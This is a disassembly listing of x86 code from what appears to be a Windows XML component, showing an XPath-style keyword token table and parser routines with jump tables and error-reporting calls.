		dd 0FFFFFFEDh
		dd offset aGt_0		; "$gt$"
		dd 0FFFFFFECh
		dd offset aIeq		; "$ieq$"
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_69B61D24+1 ;	CODE XREF: .text:loc_69B61D24j
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd offset aIge		; "$ige$"
		dd 0FFFFFFE7h
		dd offset aIgt		; "$igt$"
		dd 0FFFFFFE6h
		dd offset aIle		; "$ile$"
		dd 0FFFFFFE8h
		dd offset aIlt		; "$ilt$"
		dd 0FFFFFFE9h
		dd offset aIne		; "$ine$"
		dd 0FFFFFFEAh
		dd offset aLe		; "$le$"
		dd 0FFFFFFEEh
		dd offset aLt_0		; "$lt$"
		dd 0FFFFFFEFh
		dd offset aNe		; "$ne$"
		dd 0FFFFFFF0h
		dd offset aNot		; "$not$"
		dd 0FFFFFFBFh
		dd offset aOr		; "$or$"
		dd 0FFFFFFC0h
		dd offset asc_69B295C4	; "&&"
		dd 0FFFFFFF6h
		dd offset asc_69B270E0	; "'"
		dd 27h
		dd offset asc_69B270C8	; "("
		dd 28h
		dd offset asc_69B270B4	; ")"
		dd 29h
		dd offset dword_69B122A4
		dd 2Ah
		dd offset asc_69B270C0	; "+"
		dd 2Bh
		dd offset asc_69B270B8	; ","
		dd 2Ch
		dd offset asc_69B26FC0	; "-"
		dd 2Dh
		dd offset dword_69B295C0
		dd 2Eh
		dd offset a__		; ".."
		dd 0FFFFFFFEh
		dd offset dword_69B25CE0
		dd 2Fh
		dd offset asc_69B295B0	; "//"
		dd 0FFFFFFFDh
		dd offset asc_69B282D8	; ":"
		dd 3Ah
		dd offset dword_69B295AC
		dd 3Bh
		dd offset dword_69B295A8
		dd 3Ch
		dd offset asc_69B295A0	; "<="
		dd 0FFFFFFF8h
		dd offset dword_69B2959C
		dd 3Dh
		dd offset asc_69B270DC	; ">"
		dd 3Eh
		dd offset asc_69B29594	; ">="
		dd 0FFFFFFF7h
		dd offset dword_69B29590
		dd 40h
		dd offset aName_0	; "NAME"
		dd 0FFFFFFFCh
		dd offset aNumber_0	; "NUMBER"
		dd 0FFFFFFFAh
		dd offset aString_0	; "STRING"
		dd 0FFFFFFFBh
		dd offset asc_69B270CC	; "["
		dd 5Bh
		dd offset asc_69B29560	; "]"
		dd 5Dh
		dd offset aAncestor	; "ancestor"
		dd 0FFFFFFCDh
		dd offset aAnd_0	; "and"
		dd 0FFFFFFF4h
		dd offset aAttribute	; "attribute"
		dd 0FFFFFFE1h
		dd offset aCdata	; "cdata"
		dd 0FFFFFFDFh
		dd offset aComment	; "comment"
		dd 0FFFFFFDEh
		dd offset aContext	; "context"
		dd 0FFFFFFC2h
		dd offset aDate		; "date"
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		dd offset aElement	; "element"
		dd 0FFFFFFE2h
		dd offset aEnd		; "end"
		dd 0FFFFFFD2h
		dd offset aEof		; "eof"
		align 10h
		dd offset aId		; "id"
		dd 0FFFFFFC6h
		dd offset aIndex	; "index"
		dd 0FFFFFFD4h
		dd offset aNode		; "node"
		dd 0FFFFFFDAh
		dd offset aNodename	; "nodeName"
		dd 0FFFFFFD5h
		dd offset aNodetype	; "nodeType"
		dd 0FFFFFFD6h
		dd offset aNot_0	; "not"
		dd 0FFFFFFF2h
		dd offset aNumber	; "number"
		db 0CCh
		db 3 dup(0FFh)
		dd offset aOr_0		; "or"
		dd 0FFFFFFF3h
		dd offset aPi		; "pi"
		dd 0FFFFFFDCh
		dd offset aString	; "string"
		dd 0FFFFFFCAh
		dd offset aText		; "text"
		dd 0FFFFFFDDh
		dd offset aTextnode	; "textNode"
		dd 0FFFFFFC8h
		dd offset aTextnode_0	; "textnode"
		dd 0FFFFFFE0h
		dd offset aValue	; "value"
		dd 0FFFFFFD8h
		dd offset asc_69B270BC	; "|"
		dd 7Ch
		dd offset asc_69B294FC	; "||"
		dd 0FFFFFFF5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B61F10	proc near		; CODE XREF: sub_69B633C4+7Fp
					; sub_69B6349E+233p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 3
		jnz	short loc_69B61F3D
		fld	qword ptr [esi+8]
		call	sub_69B1A82C
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fcomp	qword ptr [esi+8]
		fnstsw	ax
		test	ah, 44h
		jp	short loc_69B61F39
		xor	eax, eax
		inc	eax
		jmp	short loc_69B61F3F
; ---------------------------------------------------------------------------


loc_69B61F39:				; CODE XREF: sub_69B61F10+22j
		xor	eax, eax
		jmp	short loc_69B61F3F
; ---------------------------------------------------------------------------


loc_69B61F3D:				; CODE XREF: sub_69B61F10+Aj
		xor	al, al


loc_69B61F3F:				; CODE XREF: sub_69B61F10+27j
					; sub_69B61F10+2Bj
		pop	esi
		leave
		retn
sub_69B61F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B61F42	proc near		; CODE XREF: DllGetClassObject+63ECp
					; sub_69B6227E+10p
		push	44h
		push	offset dword_69B62190
		call	sub_69B19C5C
		xor	ebx, ebx
		cmp	byte_69B9B2D0, bl
		jnz	loc_69B620D3
		push	dword_69B929E8
		lea	ecx, [ebp-1Ch]
		call	sub_69B18E23
		push	1
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], ebx
		cmp	byte_69B9B2D0, bl
		jnz	loc_69B620BF
		call	sub_69B1889C
		push	offset off_69B620E0
		call	sub_69B19611
		mov	[ebp-2Ch], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B2C8 ; Target
		call	sub_69B188DC
		push	offset off_69B620F0
		call	sub_69B19611
		mov	[ebp-30h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B2C0 ; Target
		call	sub_69B188DC
		push	offset off_69B62100
		call	sub_69B19611
		mov	[ebp-34h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B2B8 ; Target
		call	sub_69B188DC
		push	offset off_69B62110
		call	sub_69B19611
		mov	[ebp-38h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B2B0 ; Target
		call	sub_69B188DC
		push	offset off_69B62120
		call	sub_69B19611
		mov	[ebp-3Ch], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B2A8 ; Target
		call	sub_69B188DC
		push	offset off_69B62130
		call	sub_69B19611
		mov	[ebp-40h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B2A0 ; Target
		call	sub_69B188DC
		push	offset off_69B62140
		call	sub_69B19611
		mov	[ebp-44h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B298 ; Target
		call	sub_69B188DC
		push	offset off_69B62150
		call	sub_69B19611
		mov	[ebp-48h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B290 ; Target
		call	sub_69B188DC
		push	offset off_69B62160
		call	sub_69B19611
		mov	[ebp-4Ch], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B288 ; Target
		call	sub_69B188DC
		push	offset off_69B62170
		call	sub_69B19611
		mov	[ebp-50h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B280 ; Target
		call	sub_69B188DC
		push	offset off_69B62180
		call	sub_69B19611
		mov	[ebp-54h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B278 ; Target
		call	sub_69B188DC
		call	sub_69B6A68C
		mov	byte_69B9B2D0, 1
		jmp	short loc_69B620BF
; ---------------------------------------------------------------------------


loc_69B6209E:				; DATA XREF: .text:69B62194o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B620A7:				; DATA XREF: .text:69B62198o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B2D599
		call	sub_69B2E860


loc_69B620BF:				; CODE XREF: sub_69B61F42+3Bj
					; sub_69B61F42+15Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C


loc_69B620D3:				; CODE XREF: sub_69B61F42+14j
		call	sub_69B1853C
		retn
sub_69B61F42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
off_69B620E0	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+46o
		align 8
		dd 3
		dd offset aAnd_2	; "and"
off_69B620F0	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+5Eo
		align 8
		dd 2
		dd offset aOr_2		; "or"
off_69B62100	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+76o
		align 8
		dd 3
		dd offset aNot_2	; "not"
off_69B62110	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+8Eo
		align 8
		dd 9
		dd offset aAttribute_3	; "attribute"
off_69B62120	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+A6o
		align 8
		dd 3
		dd offset aMod_1	; "mod"
off_69B62130	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+BEo
		align 8
		dd 3
		dd offset aDiv_1	; "div"
off_69B62140	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+D6o
		align 8
		dd 4
		dd offset aNode_0	; "node"
off_69B62150	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+EEo
		align 8
		dd 4
		dd offset aText_3	; "text"
off_69B62160	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+106o
		align 8
		dd 16h
		dd offset aProcessingIn_1 ; "processing-instruction"
off_69B62170	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+11Eo
		align 8
		dd 7
		dd offset aComment_2	; "comment"
off_69B62180	dd offset off_69B17D10	; DATA XREF: sub_69B61F42+136o
		align 8
		dd 2
		dd offset aId_3		; "id"
dword_69B62190	dd 0FFFFFFFFh			dd offset loc_69B6209E
		dd offset loc_69B620A7
		align 10h
aAnd_2:					; DATA XREF: .text:69B620ECo
		unicode	0, <and>,0
aOr_2:					; DATA XREF: .text:69B620FCo
		unicode	0, <or>,0
		align 10h
aNot_2:					; DATA XREF: .text:69B6210Co
		unicode	0, <not>,0
aAttribute_3:				; DATA XREF: .text:69B6211Co
		unicode	0, <attribute>,0
aMod_1:					; DATA XREF: .text:69B6212Co
		unicode	0, <mod>,0
aDiv_1:					; DATA XREF: .text:69B6213Co
		unicode	0, <div>,0
aNode_0:				; DATA XREF: .text:69B6214Co
		unicode	0, <node>,0
		align 4
aText_3:				; DATA XREF: .text:69B6215Co
		unicode	0, <text>,0
		align 4
aProcessingIn_1:			; DATA XREF: .text:69B6216Co
		unicode	0, <processing-instruction>,0
		align 4
aComment_2:				; DATA XREF: .text:69B6217Co
		unicode	0, <comment>,0
aId_3:					; DATA XREF: .text:69B6218Co
		unicode	0, <id>,0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_69B6223C	proc near		; DATA XREF: .text:69B2A4CCo
					; .text:69B625A8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_69B6A9B8
		lea	ecx, [eax+8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	8
sub_69B6223C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62255	proc near		; CODE XREF: sub_69B62255+16p
					; sub_69B624A2+78p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		push	edi
		mov	edi, ecx
		jz	short loc_69B62279
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+64h]
		push	eax
		mov	ecx, edi
		call	sub_69B62255
		mov	ecx, [edi+34h]
		push	esi
		call	sub_69B4DD27


loc_69B62279:				; CODE XREF: sub_69B62255+Aj
		pop	edi
		pop	esi
		retn	4
sub_69B62255	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6227E	proc near		; CODE XREF: sub_69B5FB10-A04p
					; sub_69B625BC+29p ...

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		mov	[ecx+0Ch], al
		cmp	dword_69B9B278,	0
		jnz	short loc_69B62293
		call	sub_69B61F42


loc_69B62293:				; CODE XREF: sub_69B6227E+Ej
		call	sub_69B1E031
		retn	4
sub_69B6227E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6229B	proc near		; CODE XREF: sub_69B62631+Bp
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		xor	bl, bl
		call	sub_69B5EA61
		mov	ecx, esi
		call	sub_69B60C68
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFFCh
		jnz	short loc_69B622D0
		cmp	word ptr [esi+0Eh], 28h
		jnz	short loc_69B622D0
		cmp	[esi+2Ch], edi
		jnz	short loc_69B622D0
		mov	ecx, [esi+30h]
		cmp	ecx, dword_69B9B2B8
		jz	short loc_69B622D5


loc_69B622D0:				; CODE XREF: sub_69B6229B+1Cj
					; sub_69B6229B+23j ...
		cmp	eax, 0FFFFFFBFh
		jnz	short loc_69B622DE


loc_69B622D5:				; CODE XREF: sub_69B6229B+33j
		mov	eax, [esi]
		mov	ecx, esi
		mov	bl, 1
		call	dword ptr [eax+44h]


loc_69B622DE:				; CODE XREF: sub_69B6229B+38j
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFC3h
		jz	short loc_69B622F0
		cmp	eax, 0FFFFFFC4h
		jnz	short loc_69B622FA
		xor	edi, edi
		inc	edi
		jmp	short loc_69B622F3
; ---------------------------------------------------------------------------


loc_69B622F0:				; CODE XREF: sub_69B6229B+49j
		push	2
		pop	edi


loc_69B622F3:				; CODE XREF: sub_69B6229B+53j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]


loc_69B622FA:				; CODE XREF: sub_69B6229B+4Ej
		push	edi
		mov	ecx, esi
		call	sub_69B62D8D
		mov	ebp, eax
		mov	eax, [esi+20h]
		cmp	eax, 3Ch
		jg	short loc_69B6234D
		jz	short loc_69B62348 ; jumptable 69B6231D	case 9
		add	eax, 1Ah
		cmp	eax, 13h	; switch 20 cases
		ja	short loc_69B62381 ; default
					; jumptable 69B6231D cases 12-16
		movzx	eax, ds:byte_69B623D6[eax]
		jmp	ds:off_69B623A2[eax*4] ; switch	jump


loc_69B62324:				; DATA XREF: .text:off_69B623A2o
		push	5		; jumptable 69B6231D cases 10,19
		jmp	short loc_69B6235B
; ---------------------------------------------------------------------------


loc_69B62328:				; CODE XREF: sub_69B6229B+82j
					; DATA XREF: .text:off_69B623A2o
		push	3		; jumptable 69B6231D cases 8,18
		jmp	short loc_69B6235B
; ---------------------------------------------------------------------------


loc_69B6232C:				; CODE XREF: sub_69B6229B+82j
					; DATA XREF: .text:off_69B623A2o
		push	6		; jumptable 69B6231D cases 7,17
		jmp	short loc_69B6235B
; ---------------------------------------------------------------------------


loc_69B62330:				; CODE XREF: sub_69B6229B+82j
					; DATA XREF: .text:off_69B623A2o
		push	0Ah		; jumptable 69B6231D case 5
		jmp	short loc_69B6235B
; ---------------------------------------------------------------------------


loc_69B62334:				; CODE XREF: sub_69B6229B+82j
					; DATA XREF: .text:off_69B623A2o
		push	0Dh		; jumptable 69B6231D case 4
		jmp	short loc_69B6235B
; ---------------------------------------------------------------------------


loc_69B62338:				; CODE XREF: sub_69B6229B+82j
					; DATA XREF: .text:off_69B623A2o
		push	9		; jumptable 69B6231D case 3
		jmp	short loc_69B6235B
; ---------------------------------------------------------------------------


loc_69B6233C:				; CODE XREF: sub_69B6229B+82j
					; DATA XREF: .text:off_69B623A2o
		push	0Bh		; jumptable 69B6231D case 2
		jmp	short loc_69B6235B
; ---------------------------------------------------------------------------


loc_69B62340:				; CODE XREF: sub_69B6229B+82j
					; DATA XREF: .text:off_69B623A2o
		push	0Ch		; jumptable 69B6231D case 0
		jmp	short loc_69B6235B
; ---------------------------------------------------------------------------


loc_69B62344:				; CODE XREF: sub_69B6229B+82j
					; DATA XREF: .text:off_69B623A2o
		push	0Eh		; jumptable 69B6231D case 1
		jmp	short loc_69B6235B
; ---------------------------------------------------------------------------


loc_69B62348:				; CODE XREF: sub_69B6229B+71j
					; sub_69B6229B+82j
					; DATA XREF: ...
		xor	edi, edi	; jumptable 69B6231D case 9
		inc	edi
		jmp	short loc_69B6235C
; ---------------------------------------------------------------------------


loc_69B6234D:				; CODE XREF: sub_69B6229B+6Fj
		sub	eax, 3Dh
		jz	short loc_69B62359 ; jumptable 69B6231D	case 11
		dec	eax
		jnz	short loc_69B62381 ; default
					; jumptable 69B6231D cases 12-16


loc_69B62355:				; CODE XREF: sub_69B6229B+82j
					; DATA XREF: .text:off_69B623A2o
		push	4		; jumptable 69B6231D case 6
		jmp	short loc_69B6235B
; ---------------------------------------------------------------------------


loc_69B62359:				; CODE XREF: sub_69B6229B+82j
					; sub_69B6229B+B5j
					; DATA XREF: ...
		push	2		; jumptable 69B6231D case 11


loc_69B6235B:				; CODE XREF: sub_69B6229B+8Bj
					; sub_69B6229B+8Fj ...
		pop	edi


loc_69B6235C:				; CODE XREF: sub_69B6229B+B0j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	0
		mov	ecx, esi
		call	sub_69B62D8D
		push	eax
		push	ebp
		push	edi
		call	sub_69B69E36
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	ebp, ecx


loc_69B62381:				; CODE XREF: sub_69B6229B+79j
					; sub_69B6229B+82j ...
		test	bl, bl		; default
					; jumptable 69B6231D cases 12-16
		jz	short loc_69B62398
		push	ebp
		call	sub_69B6776D
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	ebp, ecx


loc_69B62398:				; CODE XREF: sub_69B6229B+E8j
		dec	dword ptr [esi+48h]
		pop	edi
		pop	esi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_69B6229B	endp

; ---------------------------------------------------------------------------
off_69B623A2	dd offset loc_69B62340	; DATA XREF: sub_69B6229B+82r
		dd offset loc_69B62344	; jump table for switch	statement
		dd offset loc_69B6233C
		dd offset loc_69B62338
		dd offset loc_69B62334
		dd offset loc_69B62330
		dd offset loc_69B62355
		dd offset loc_69B6232C
		dd offset loc_69B62328
		dd offset loc_69B62348
		dd offset loc_69B62324
		dd offset loc_69B62359
		dd offset loc_69B62381
byte_69B623D6	db	0,     1,     2,     3 ; DATA XREF: sub_69B6229B+7Br
		db	4,     5,     6,     7 ; indirect table	for switch statement
		db	8,     9,   0Ah,   0Bh
		db    0Ch,   0Ch,   0Ch,   0Ch
		db    0Ch,     7,     8,   0Ah

; =============== S U B	R O U T	I N E =======================================



sub_69B623EA	proc near		; CODE XREF: sub_69B62690+40p
					; sub_69B63B61+4Cp
		xor	eax, eax
		cmp	dword ptr [ecx+20h], 0FFFFFFFCh
		jnz	short locret_69B6240A
		cmp	[ecx+2Ch], eax
		jnz	short locret_69B6240A
		mov	edx, [ecx+30h]
		cmp	edx, dword_69B9B278
		jnz	short locret_69B6240A
		cmp	word ptr [ecx+0Eh], 28h
		jnz	short locret_69B6240A
		inc	eax

locret_69B6240A:			; CODE XREF: sub_69B623EA+6j
					; sub_69B623EA+Bj ...
		retn
sub_69B623EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6240B	proc near		; CODE XREF: sub_69B5F12B+98p
					; sub_69B6296C+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esi+18h]
		sub	eax, ecx
		push	0
		dec	eax
		push	0
		dec	eax
		push	ecx
		sar	eax, 1
		push	eax
		push	ecx
		call	sub_69B190C1
		push	eax
		push	0C00CE387h
		mov	ecx, esi
		call	sub_69B61C54
		pop	esi
		retn	4
sub_69B6240B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62438	proc near		; CODE XREF: sub_69B5EB78+15p
					; sub_69B629F7+Fp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+20h]
		call	sub_69B61B61
		xor	edi, edi
		cmp	[esp+8+arg_0], edi
		push	edi
		push	eax
		jz	short loc_69B62461
		push	[esp+10h+arg_0]
		push	0C00CE380h
		call	sub_69B2F944
		add	esp, 10h
		jmp	short loc_69B6246E
; ---------------------------------------------------------------------------


loc_69B62461:				; CODE XREF: sub_69B62438+14j
		push	0C00CE381h
		call	sub_69B2F944
		add	esp, 0Ch


loc_69B6246E:				; CODE XREF: sub_69B62438+27j
		push	edi
		push	edi
		push	dword ptr [esi+1Ch]
		mov	ecx, esi
		push	eax
		call	sub_69B61BB4
		push	eax
		mov	ecx, esi
		call	sub_69B61B50
		pop	edi
		pop	esi
		retn	4
sub_69B62438	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62488	proc near		; CODE XREF: sub_69B5EC3F+4Ap
					; sub_69B5EC3F+6Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	0
		push	[esp+10h+arg_0]
		call	sub_69B61C54
		retn	10h
sub_69B62488	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B624A2	proc near		; DATA XREF: .text:69B294F8o
		push	2Ch
		push	offset dword_69B625B0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B624C7
		mov	eax, 80004005h
		jmp	loc_69B62599
; ---------------------------------------------------------------------------


loc_69B624C7:				; CODE XREF: sub_69B624A2+19j
		push	edi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	dword ptr [ebp-2Ch], offset off_69B625A4
		mov	esi, [ebp+14h]
		mov	[esi], edi
		mov	[ebp-4], edi
		mov	[ebp-30h], edi
		cmp	[ebp+10h], edi
		jz	short loc_69B6251F
		push	dword ptr [ebp+10h]
		call	sub_69B47D5E
		mov	[ebp-34h], eax
		cmp	eax, edi
		jnz	short loc_69B624FF
		mov	dword ptr [ebp-38h], 80004005h
		jmp	short loc_69B6254B
; ---------------------------------------------------------------------------


loc_69B624FF:				; CODE XREF: sub_69B624A2+52j
		push	edi
		call	sub_69B1A6EC
		mov	[ebp-30h], eax
		push	eax
		mov	ebx, [ebp+8]
		lea	ecx, [ebx+2Ch]
		call	sub_69B199CC
		push	dword ptr [ebp-34h]
		lea	ecx, [ebx-8]
		call	sub_69B62255


loc_69B6251F:				; CODE XREF: sub_69B624A2+43j
		mov	ecx, [ebp+8]
		add	ecx, 0FFFFFFF8h
		mov	eax, [ecx]
		lea	edx, [ebp-2Ch]
		push	edx
		push	4
		push	dword ptr [ebp-30h]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+38h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+44h]
		mov	[ebp-3Ch], eax
		push	eax
		call	sub_69B6A147
		mov	[esi], eax
		mov	[ebp-38h], edi


loc_69B6254B:				; CODE XREF: sub_69B624A2+5Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B62578
; ---------------------------------------------------------------------------


loc_69B62551:				; DATA XREF: .text:69B625B4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6255A:				; DATA XREF: .text:69B625B8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-38h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	edi, edi


loc_69B62578:				; CODE XREF: sub_69B624A2+ADj
		push	edi
		mov	eax, [ebp+8]
		add	eax, 2Ch
		push	eax
		call	sub_69B17320
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-38h]


loc_69B62599:				; CODE XREF: sub_69B624A2+20j
		call	sub_69B1853C
		retn	10h
sub_69B624A2	endp

; ---------------------------------------------------------------------------
		align 4
off_69B625A4	dd offset sub_69B62A0F	; DATA XREF: sub_69B624A2+2Eo
		dd offset sub_69B6223C
		align 10h
dword_69B625B0	dd 0FFFFFFFFh			dd offset loc_69B62551
		dd offset loc_69B6255A

; =============== S U B	R O U T	I N E =======================================



sub_69B625BC	proc near		; CODE XREF: sub_69B5FB10-A20p
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B12B30
		mov	dword ptr [esi+8], offset off_69B294EC
		mov	[esi+24h], eax
		mov	[esi+28h], eax
		mov	[esi+2Ch], eax
		mov	[esi+30h], eax
		push	eax
		mov	ecx, esi
		mov	[esi+34h], eax
		call	sub_69B6227E
		mov	eax, esi
		pop	esi
		retn
sub_69B625BC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B62A56


loc_69B625EE:				; CODE XREF: sub_69B62A56+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		push	[esp+4+arg_0]
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B12B30
		mov	dword ptr [esi+8], offset off_69B294EC
		mov	[esi+24h], eax
		mov	[esi+28h], eax
		mov	[esi+2Ch], eax
		mov	[esi+30h], eax
		mov	ecx, esi
		mov	[esi+34h], eax
		call	sub_69B6227E
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B62A56

; =============== S U B	R O U T	I N E =======================================



sub_69B62625	proc near		; DATA XREF: .text:69B12B64o
		push	0
		add	ecx, 34h
		push	ecx
		call	sub_69B17320
		retn
sub_69B62625	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62631	proc near		; CODE XREF: sub_69B62631+3Ep
					; sub_69B62D2E+Bp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		mov	ecx, esi
		call	sub_69B6229B
		mov	edi, eax
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFF6h
		jz	short loc_69B62666
		cmp	eax, 0FFFFFFC1h
		jz	short loc_69B62666
		cmp	eax, 0FFFFFFFCh
		jnz	short loc_69B62688
		cmp	dword ptr [esi+2Ch], 0
		jnz	short loc_69B62688
		mov	eax, [esi+30h]
		cmp	eax, dword_69B9B2C8
		jnz	short loc_69B62688


loc_69B62666:				; CODE XREF: sub_69B62631+18j
					; sub_69B62631+1Dj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	ecx, esi
		call	sub_69B62631
		push	eax
		push	edi
		call	sub_69B69F0C
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	edi, ecx


loc_69B62688:				; CODE XREF: sub_69B62631+22j
					; sub_69B62631+28j ...
		dec	dword ptr [esi+48h]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B62631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B62690	proc near		; CODE XREF: sub_69B5F498+1C2p
					; sub_69B6349E+2BDp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		and	[ebp+var_8], 0
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+28h]
		mov	ebx, [esi+1Ch]
		push	edi
		mov	edi, [esi+30h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+2Ch]
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edi
		mov	byte ptr [ebp+var_4], 0
		call	sub_69B60C68
		cmp	word ptr [esi+0Eh], 28h
		jnz	short loc_69B62707
		cmp	[ebp+arg_8], 0
		mov	byte ptr [ebp+var_4], 1
		jz	short loc_69B626DD
		mov	ecx, esi
		call	sub_69B623EA
		test	al, al
		jz	short loc_69B626DD
		xor	eax, eax
		jmp	short loc_69B62747
; ---------------------------------------------------------------------------


loc_69B626DD:				; CODE XREF: sub_69B62690+3Cj
					; sub_69B62690+47j
		mov	ecx, esi
		call	sub_69B5EA78
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFFCh
		jnz	short loc_69B626FB
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B61C88


loc_69B626FB:				; CODE XREF: sub_69B62690+5Aj
		push	eax
		mov	ecx, esi
		call	sub_69B6139C
		mov	edi, eax
		jmp	short loc_69B6270C
; ---------------------------------------------------------------------------


loc_69B62707:				; CODE XREF: sub_69B62690+32j
		mov	edi, offset dword_69B62750


loc_69B6270C:				; CODE XREF: sub_69B62690+75j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		xor	eax, eax
		cmp	edi, eax
		jz	short loc_69B62734
		push	[ebp+arg_C]
		lea	eax, [ebp+var_14]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	eax
		push	ebx
		push	esi
		push	edi
		call	dword ptr [edi+2Ch]
		mov	[ebp+var_8], eax
		jmp	short loc_69B62744
; ---------------------------------------------------------------------------


loc_69B62734:				; CODE XREF: sub_69B62690+87j
		push	eax
		push	eax
		push	ebx
		push	eax
		push	0C00CE385h
		mov	ecx, esi
		call	sub_69B61C54


